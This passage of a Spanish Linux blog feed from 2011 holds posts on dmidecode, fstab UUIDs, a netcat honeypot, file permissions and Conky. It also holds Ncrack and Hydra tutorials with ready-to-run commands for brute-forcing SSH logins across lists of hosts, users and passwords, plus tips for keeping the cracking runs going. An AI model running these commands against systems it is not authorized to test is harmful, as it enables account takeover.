/&gt;Se encuentra en fase alpha pero parece funcionar bien ;)&lt;br /&gt;&lt;br /&gt;Primero deberemos instalar la librería libssh(no estoy seguro de si este paso es estrictamente necesario):&lt;br /&gt;&lt;a href="http://www.libssh.org/files/"&gt;http://www.libssh.org/files/&lt;/a&gt;&lt;br /&gt;tar xvzf libssh...&lt;br /&gt;cd ...&lt;br /&gt;mkdir build&lt;br /&gt;cd build&lt;br /&gt;cmake ..&lt;br /&gt;make&lt;br /&gt;su&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;Nos bajamos Ncrack lo compilamos y lo instalamos:&lt;br /&gt;wget http://nmap.org/ncrack/dist/ncrack-******.tar.gz&lt;br /&gt;tar xvzf ncrack-******.tar.gz&lt;br /&gt;cd ncrack-******.tar.gz&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;Un ejemplo de uso:&lt;br /&gt;ncrack -iL HOSTS -p ssh -U USER -P PASS&lt;br /&gt;&lt;br /&gt;Donde HOSTS es el listado de ips, ssh el servicio, USER el listado de usuarios y PASS la lista de passwords.&lt;br /&gt;A disfrutar que la vida son dos días!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7963881726458290608?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7963881726458290608/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7963881726458290608' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7963881726458290608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7963881726458290608'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/05/ncrack.html' title='Ncrack'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/---ijNGmU1T0/TdLfTUN5BSI/AAAAAAAAAX8/YtD6BcN87j8/s72-c/ncrack_logo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7019047188852883173</id><published>2011-05-15T18:42:00.003+02:00</published><updated>2011-05-15T19:13:45.583+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Service tag desde la línea de comandos.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-KnNFGc9QLKA/TdAD7roASUI/AAAAAAAAAX0/tgaraG3-ASA/s1600/time-warner-boot-ars-thumb-640xauto-16542.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 112px;" src="http://1.bp.blogspot.com/-KnNFGc9QLKA/TdAD7roASUI/AAAAAAAAAX0/tgaraG3-ASA/s200/time-warner-boot-ars-thumb-640xauto-16542.jpg" alt="" id="BLOGGER_PHOTO_ID_5606985859933948226" border="0" /&gt;&lt;/a&gt;El service tag es un numerito que los fabricantes de equipos piden a los clientes para saber que equipo compraron en su momento, este número puede ser obtenido desde la línea de comandos con la orden:&lt;br /&gt;dmidecode -s system-serial-number&lt;br /&gt;&lt;br /&gt;Puede ser útil para llevar una base de datos de los service tags de nuestra empresa, mediante un script en expect resultaría bastante sencillo generar la base de datos ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7019047188852883173?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7019047188852883173/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7019047188852883173' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7019047188852883173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7019047188852883173'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/05/service-tag-desde-la-linea-de-comandos.html' title='Service tag desde la línea de comandos.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-KnNFGc9QLKA/TdAD7roASUI/AAAAAAAAAX0/tgaraG3-ASA/s72-c/time-warner-boot-ars-thumb-640xauto-16542.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2438454983974824955</id><published>2011-05-15T18:20:00.003+02:00</published><updated>2011-05-15T19:13:35.431+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Correspondencia UUID (Universally Unique Identifier) partición</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-Ivbb7-ijKas/TdABvZ6rsNI/AAAAAAAAAXs/A3OIaiNCMGM/s1600/virtual-server-mechanic-list-thumb-640xauto-20415.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 112px;" src="http://3.bp.blogspot.com/-Ivbb7-ijKas/TdABvZ6rsNI/AAAAAAAAAXs/A3OIaiNCMGM/s200/virtual-server-mechanic-list-thumb-640xauto-20415.jpg" alt="" id="BLOGGER_PHOTO_ID_5606983449998766290" border="0" /&gt;&lt;/a&gt;En la última versión de Debian el fstab ya viene con los UUID (Universally Unique Identifier) configurados para hacer referencia a las particiones de nuestro sistema, yo personalmente odio estos números sin sentido ya que no puedo ver de un vistazo que partición se monta sobre que directorio (Sí ya se que en los comentarios pone la partición).&lt;br /&gt;El empleo de UUID tiene una ventaja (y seguramente alguna mas) en cuanto a dispositivos de almacenamiento externos como discos duros USB. Si tenemos dos discos, cada uno con su UUID y el fstab configurado por UUID cuando conectemos alguno de ellos se montará en el directorio especificado en el fstab sin importar el orden de conexión.&lt;br /&gt;&lt;br /&gt;Ahora supongamos que configuramos el fstab por "dispositivo" con las entradas:&lt;br /&gt;/dev/sda1 /mnt/usb1      ext4    defaults        0       2&lt;br /&gt;/dev/sdb1 /mnt/usb2      ext4    defaults        0       2&lt;br /&gt;&lt;br /&gt;El primer disco que conectemos será /dev/sda1 y el segundo /dev/sda2, por lo tanto si conectamos el disco usb2 será el dispositivo /dev/sda1 y se montará en el directorio /mnt/usb1 cosa que no queremos que ocurra!!!&lt;br /&gt;&lt;br /&gt;Si queremos ver la correspondencia de UUID a partición es tan sencillo como ejecutar:&lt;br /&gt;ls -l /dev/disk/by-uuid/&lt;br /&gt;&lt;br /&gt;Yo personalmente lo tengo configurado por dispositivo las particiones del sistema y por UUID los discos externos ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2438454983974824955?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2438454983974824955/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2438454983974824955' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2438454983974824955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2438454983974824955'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/05/correspondencia-uuid-universally-unique.html' title='Correspondencia UUID (Universally Unique Identifier) partición'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-Ivbb7-ijKas/TdABvZ6rsNI/AAAAAAAAAXs/A3OIaiNCMGM/s72-c/virtual-server-mechanic-list-thumb-640xauto-20415.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2199444568556584571</id><published>2011-05-14T15:58:00.006+02:00</published><updated>2011-05-17T15:35:46.902+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Crackeador Hydra</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/--t2uTpLgju0/Tc6OZp7kaSI/AAAAAAAAAXk/vwecr_zbqWI/s1600/password_ars-thumb-640xauto-20126.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 112px;" src="http://3.bp.blogspot.com/--t2uTpLgju0/Tc6OZp7kaSI/AAAAAAAAAXk/vwecr_zbqWI/s200/password_ars-thumb-640xauto-20126.jpg" alt="" id="BLOGGER_PHOTO_ID_5606575157526423842" border="0" /&gt;&lt;/a&gt;&lt;a href="http://www.thc.org/thc-hydra/"&gt;THC-Hydra&lt;/a&gt; es una herramienta que nos permite crackear cuentas de usuario de varios servicios:&lt;br /&gt;cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get} http[s]-{get|post}-form http-proxy icq irc imap ldap2 ldap3[-{cram|digest}md5] mssql mysql ncp nntp oracle-listener oracle-sid pcnfs pop3 pcanywhere postgres rexec rlogin rsh sip smb smbnt smtp smtp-enum snmp socks5 ssh svn teamspeak telnet vnc vmauthd xmpp&lt;br /&gt;&lt;br /&gt;Para que poder crackear cada uno de los servicios debemos tener instaladas las librerias que requiera cada uno de los servicios. En nuestro caso nos vamos a centrar en SSH.&lt;br /&gt;&lt;br /&gt;Primero deberemos instalar la librería libssh:&lt;br /&gt;&lt;a href="http://www.libssh.org/files/"&gt;http://www.libssh.org/files/&lt;/a&gt;&lt;br /&gt;tar xvzf libssh...&lt;br /&gt;cd ...&lt;br /&gt;mkdir build&lt;br /&gt;cd build&lt;br /&gt;cmake ..&lt;br /&gt;make&lt;br /&gt;su&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;Ahora ya estamos listos para instalar Hydra(la última versión estable NO compila correctamente a fecha e este artículo):&lt;br /&gt;wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz&lt;br /&gt;tar xvzf hydra.....&lt;br /&gt;cd ...&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;su&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;Un ejemplo de uso de Hydra podría ser este:&lt;br /&gt;hydra -l "usuario" -P "Fichero_passwords" -M "Fichero_ips" ssh&lt;br /&gt;&lt;br /&gt;Hydra abre muchos ficheros simultaneamente en el sistema para realizar el proceso de crackeo de forma paralela, de este modo comprueba de forma simultánea varias cuentas, pero esto puede hacer que se alcance el límite impuesto por el sistema de ficheros abiertos.&lt;br /&gt;&lt;br /&gt;Para comprobar cuantos ficheros hay abiertos actualmente es tan fácil como:&lt;br /&gt;lsof | wc -l&lt;br /&gt;&lt;br /&gt;Podemos consultar el límite con:&lt;br /&gt;sysctl fs.file-max&lt;br /&gt;&lt;br /&gt;Si vemos que se supera editamos el fichero /etc/sysctl.conf y aumentamos el límite del parámetro fs.file-max.&lt;br /&gt;Para aplicar los cambios ejetuamos:&lt;br /&gt;sysctl -p&lt;br /&gt;&lt;br /&gt;También es posible que nos esté limitando PAM con sus restricciones, para evitar esto editamos el fichero /etc/security/limits.conf&lt;br /&gt;&lt;br /&gt;"usuario" hard nofile "max nº de ficheros"&lt;br /&gt;&lt;br /&gt;Con esto ya no creo que haya mayor problema a la hora de crackear ;)&lt;br /&gt;&lt;br /&gt;CORRECCIÖN: Sigue apareciendo el error del límite de ficheros abiertos, no se si se debe a que la versión que he compilado es una versión beta :(&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2199444568556584571?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2199444568556584571/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2199444568556584571' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2199444568556584571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2199444568556584571'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/05/crackeador-hydra.html' title='Crackeador Hydra'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/--t2uTpLgju0/Tc6OZp7kaSI/AAAAAAAAAXk/vwecr_zbqWI/s72-c/password_ars-thumb-640xauto-20126.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7973902881128128085</id><published>2011-04-14T12:42:00.004+02:00</published><updated>2011-04-15T06:44:23.128+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>HoneyPot básico</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-_KXgUAEHxB0/TabSsVcAJaI/AAAAAAAAAXU/-ID0gFD4EMg/s1600/netcat.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 106px; height: 69px;" src="http://2.bp.blogspot.com/-_KXgUAEHxB0/TabSsVcAJaI/AAAAAAAAAXU/-ID0gFD4EMg/s200/netcat.jpg" alt="" id="BLOGGER_PHOTO_ID_5595391246165091746" border="0" /&gt;&lt;/a&gt;Hola amigos, en esta ocasión vamos a preparar un HoneyPot muy básico, este nos permitirá guardar un registro de los comandos enviados al supuesto servicio vulnerable.&lt;br /&gt;&lt;br /&gt;Los primero será tener instalado netcat:&lt;br /&gt;apt-get install netcat&lt;br /&gt;&lt;br /&gt;Ahora generamos el Script del HoneyPot (honey.sh):&lt;br /&gt;&lt;span style="font-size:78%;"&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;buff="220 ProFTPD 1.3.3c Server (ProFTPD)"&lt;br /&gt;rm -rf /var/log/honeylog.log 2&amp;gt;/dev/null&lt;br /&gt;&lt;br /&gt;for i in $(ps aux|grep honey|grep -v grep|grep -v $$| awk '{print $2}'); do kill -9 $i 2&amp;gt;/dev/null; done&lt;br /&gt;&lt;br /&gt;while [ 1 ]; do&lt;br /&gt; echo $buff | netcat -v -l -p 21 &amp;gt;&amp;gt; /var/log/honeylog.log 2&amp;gt;&amp;gt; /var/log/honeylog.log&lt;br /&gt;done&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Como se puede observar nos hacemos pasar por el servicio ProFTPD 1.3.3c y los logs son guardados en /var/log/honeylog.log, con un tail -f /var/log/honeylog.log podremos ver los accesos en tiempo real.&lt;br /&gt;&lt;br /&gt;Cabe destacar que se puede indicar el banner que se desee haciendose pasar por cualquier otro servicio.&lt;br /&gt;&lt;br /&gt;Espero que hayais disfrutado con este articulillo, fácil y rápido, que mas se puede pedir ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7973902881128128085?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7973902881128128085/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7973902881128128085' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7973902881128128085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7973902881128128085'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/04/honeypot-basico.html' title='HoneyPot básico'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-_KXgUAEHxB0/TabSsVcAJaI/AAAAAAAAAXU/-ID0gFD4EMg/s72-c/netcat.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-764054595459655239</id><published>2011-04-02T22:14:00.018+02:00</published><updated>2011-04-04T19:51:23.720+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Permisos en Linux, la guía definitiva.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-habMHQW8o3c/TZlo5ktyq8I/AAAAAAAAAW8/8wOyOX9KAr4/s1600/2741921812_8208b641d6.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 150px;" src="http://4.bp.blogspot.com/-habMHQW8o3c/TZlo5ktyq8I/AAAAAAAAAW8/8wOyOX9KAr4/s200/2741921812_8208b641d6.jpg" alt="" id="BLOGGER_PHOTO_ID_5591615750674754498" border="0" /&gt;&lt;/a&gt;Los permisos de directorios y ficheros en el mundo Linux son muy sencillos en un principio pero cuando empezamos a tener en cuenta el sticky bit y otras herramientas como chattr la cosa se complica. Todo administrador debería de tener estos conceptos muy claros ya que si no es así el sistema se convertirá en un queso de gruyere en dos días.&lt;br /&gt;En este manual se va a explicar desde los mas básico a lo mas complejo.&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------&lt;br /&gt;&lt;br /&gt;PERMISOS BÁSICOS:&lt;br /&gt;Los permisos de un fichero se dividen en tres trios de permisos, los primeros tres corresponden al propietario del usuario, los siguientes tres al grupo al que pertenece y los otros tres a otros.&lt;br /&gt;&lt;br /&gt;Un ejemplo en el que el fichero .profile pertenece al usuario root y al grupo root, el propietario tiene permisos de lectura y escritura, el grupo de lectura y los otros de lectura.&lt;br /&gt;-rw-r--r--  1 root    root      140 nov 19  2007 .profile&lt;br /&gt;&lt;br /&gt;Para asignar permisos a los ficheros lo mas fácil es aprenderse la correspondencia:&lt;br /&gt;R: 4 --&amp;gt; Lectura&lt;br /&gt;W: 2 --&amp;gt; Escritura&lt;br /&gt;X: 1 --&amp;gt; Ejecución&lt;br /&gt;&lt;br /&gt;Por lo tanto si queremos asignar permisos de RW para el propietario, WX para el grupo y R para otros se haría del siguiente modo: chmod 634 "fichero".&lt;br /&gt;&lt;br /&gt;Para poder hacer un cd se necesitan permisos de ejecución en el direcotrio.&lt;br /&gt;Para acceder a un subdirectorio que nos pertenece pero cuelga de otro, se necesitan permisos de ejecución en el direcotrio intermedio para poder pasar a través de él.&lt;br /&gt;&lt;br /&gt;Si se otorgan permisos de lectura sin ejecución y se hace un ls -la del directorio:&lt;br /&gt;usuario@debian:/$ ls -la aaa/&lt;br /&gt;ls: no se puede acceder a aaa/.: Permiso denegado&lt;br /&gt;ls: no se puede acceder a aaa/..: Permiso denegado&lt;br /&gt;ls: no se puede acceder a aaa/ff.sh: Permiso denegado&lt;br /&gt;total 0&lt;br /&gt;d????????? ? ? ? ?            ? .&lt;br /&gt;d????????? ? ? ? ?            ? ..&lt;br /&gt;-????????? ? ? ? ?            ? ff.sh&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------&lt;br /&gt;&lt;br /&gt;UMASK:&lt;br /&gt;Se trata de los permisos por defecto que adoptarán los ficheros y directorios cuando se creen. Para definir el valor de umask hay que pensar "a la inversa: wildcard", con un ejemplo se verá claro: umask 007 equivaldría a chmod 770.&lt;br /&gt;&lt;br /&gt;También hay que tener en cuenta que los ficheros se generarán con los permisos indicados en umask pero eliminando el permiso de ejecución. Si asigno un umask de 522 se crearían con los siguientes permisos:&lt;br /&gt;- Directorios: 255&lt;br /&gt;- Ficheros: 244&lt;br /&gt;&lt;br /&gt;Otro aspecto a tener en cuenta es que el valor de umask va ligado al usuario, para poder definir un umask de forma global debemos editar el fichero: /etc/profile y si queremos hacerlo en un solo usuario: ~/.bashrc, hasta que el usuario no salga y vuelva logarse no se hará efectivo.&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------&lt;br /&gt;&lt;br /&gt;STICKY BIT:&lt;br /&gt;&lt;br /&gt;Podremos saber si el sticky bit está activado mirando los permisos de ejecución. Para el propietario y el grupo se representa con una s y para otros con una t, si el bit de ejecución ya estaba habilitado aparecerá la s o la t en minúsculas, en caso contrario en mayúsculas.&lt;br /&gt;- Ejemplo en el que NO está habilitado el permiso de ejecución y sí el Sticky bit: rSr-Sr-T.&lt;br /&gt;- Ejemplo en el que SI está habilitado el permiso de ejecución y sí el Sticky bit: rwsr-sr-t.&lt;br /&gt;&lt;br /&gt;Este bit se comportará de un modo u otro según esté definido en un directorio o un fichero.&lt;br /&gt;&lt;br /&gt;Fichero:&lt;br /&gt;4000 --&amp;gt; Si es ejcutable se ejecutará con los permisos del propoietario&lt;br /&gt;2000 --&amp;gt; Si es ejecutable se ejecutará con los permisos del grupos&lt;br /&gt;1000 --&amp;gt; Se empleaba para que el SO mantuviese el fichero en SWAP, actualmente es ignorado&lt;br /&gt;&lt;br /&gt;Directorio:&lt;br /&gt;4000 --&amp;gt; No se utiliza para nada&lt;br /&gt;2000 --&amp;gt; Los ficheros o directorios generados pertenecerán al grupo al que pertenece el directorio actual.&lt;br /&gt;1000 --&amp;gt; Los fichero o directorios solo pueden ser renombrados o borrados por el propietario del elemento, el propietario del directorio o el usuario root, aunque el resto de usuarios tenga permisos de escritura.&lt;br /&gt;NOTA:Pero si que pueden ser editados si se tienen los permisos adecuados.&lt;br /&gt;&lt;br /&gt;Para eliminar el sticky bit no basta con ejecutar 0799 por ejemplo, hay que hacerlo con:&lt;br /&gt;- chmod -s&lt;br /&gt;- chmod -t&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------&lt;br /&gt;&lt;br /&gt;CHATTR:&lt;br /&gt;&lt;br /&gt;NOTA:&lt;br /&gt;- Las opciones c, s y u no están implementadas de forma nativa en ext2 y ext3&lt;br /&gt;- La opción j solo funciona sobre ext3&lt;br /&gt;- La opción D requiere un kernel &amp;gt;= 2.5.19&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;+A --&amp;gt; No se actualiza la hora de acceso al fichero, pero sí la de modificación.&lt;br /&gt;+a --&amp;gt; Solo se puede añadir al fichero, solo ROOT puede asignar este parámetro.&lt;br /&gt;+c --&amp;gt; Comprime de forma transparente el fichero&lt;br /&gt;+D --&amp;gt; Si se aplica a un directorio los cambios realizados en él son escritos al momento en el disco duro.&lt;br /&gt;+d --&amp;gt; Este fichero será ignorado por el programa dump (Backups)&lt;br /&gt;E --&amp;gt; Indica que hay un problema de compresión con el fichero, no se puede modificar, solo se puede ver con lsattr&lt;br /&gt;e --&amp;gt; Indica que se emplean "extents" para saber las posiciones del disco que contienen la información del fichero, no se debe modificar.&lt;br /&gt;I --&amp;gt; Indica que el directorio es indexado empleando hashed tree, no tocar&lt;br /&gt;h --&amp;gt; Indica que el tamaño del fichero se entrega en bloques no en sectores, no tocar.&lt;br /&gt;+i --&amp;gt; No puede ser borrado, renombrado o vinculado mediante un link.&lt;br /&gt;+j --&amp;gt; La información del fichero es escrita primero al journal si la partición está montada con las opciones "data=ordered"  or  "data=writeback".&lt;br /&gt;+s --&amp;gt; Cuando se borre este fichero se sobreescribe se escriben ceros ;)&lt;br /&gt;+S --&amp;gt; La información se escribe al momento en el disco.&lt;br /&gt;+T --&amp;gt; Si se deshabilita el algoritmo de distribución de datos en el disco (Orlov) intentará meter los datos lo mas juntos posible entre ellos.&lt;br /&gt;+t --&amp;gt; Deshabilita el "tail-merging" (aprovechar huecos de otros ficheros para meter información de este fichero) del fichero, opción necasaria para LILO (acceso directo el disco).&lt;br /&gt;+u --&amp;gt; Permite el "undelete" del fichero&lt;br /&gt;X --&amp;gt; Indica que el contenido de un fichero comprimido puede ser accedido en "raw", no se puede cambiar&lt;br /&gt;Z --&amp;gt; Indica que el contenido de un fichero comprimido está "dirty", no se puede cambiar&lt;br /&gt;&lt;br /&gt;Podemos ver los atributos de un fichero con el el comando lsattr.&lt;br /&gt;&lt;br /&gt;Para comprobar opciones como +A se puede emplear la herramienta stat.&lt;br /&gt;stat "fichero": Muestra información sobre el acceso a los ficheros.&lt;br /&gt;&lt;br /&gt;Espero que le saqueis jugo al artículo ya que en mi opinión está muy completito ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-764054595459655239?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/764054595459655239/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=764054595459655239' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/764054595459655239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/764054595459655239'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/04/permisos-en-linux-la-guia-definitiva.html' title='Permisos en Linux, la guía definitiva.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-habMHQW8o3c/TZlo5ktyq8I/AAAAAAAAAW8/8wOyOX9KAr4/s72-c/2741921812_8208b641d6.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3397199362746940418</id><published>2011-03-03T22:46:00.022+01:00</published><updated>2011-06-16T23:30:16.445+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Conky a fondo</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-ami1m6yo6cQ/TXFFgOs1UrI/AAAAAAAAAWs/RWC4p5szG-4/s1600/Pantallazo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 112px;" src="http://1.bp.blogspot.com/-ami1m6yo6cQ/TXFFgOs1UrI/AAAAAAAAAWs/RWC4p5szG-4/s200/Pantallazo.png" alt="" id="BLOGGER_PHOTO_ID_5580317833293025970" border="0" /&gt;&lt;/a&gt;Hola amigos, en esta ocasión vamos a instalar y configurar una de las herramientas de monitorización mas versátiles en Linux, estoy hablando de Conky. Ya escribí con &lt;a href="http://laguaridadelmal.blogspot.com/2007/12/monitor-conky.html"&gt;anterioridad&lt;/a&gt; un artículo sobre este software pero esta vez vamos a destriparlo al completo ;)&lt;br /&gt;&lt;br /&gt;Lo primero será descargar el software desde la &lt;a href="http://sourceforge.net/projects/conky/files/conky/"&gt;página&lt;/a&gt; del proyecto en SourceForge.&lt;br /&gt;&lt;br /&gt;Descargamos las fuentes:&lt;br /&gt;cd /usr/src&lt;br /&gt;wget http://sourceforge.net/projects/conky/files/conky/1.8.1/conky-1.8.1.tar.gz&lt;br /&gt;&lt;br /&gt;Una vez descargado lo descomprimimos de la forma habitual:&lt;br /&gt;tar xvzf conky-1.8.1.tar.gz&lt;br /&gt;&lt;br /&gt;Lo instalamos:&lt;br /&gt;cd conky-1.8.1&lt;br /&gt;./configure --enable-weather-metar --enable-lua --enable-wlan&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;Ahora ya tendríamos Conky listo para funcionar, pero si queremos monitorizar aspectos meteorológicos desde el tendremos que instalarle un paquete adicional llamado &lt;a 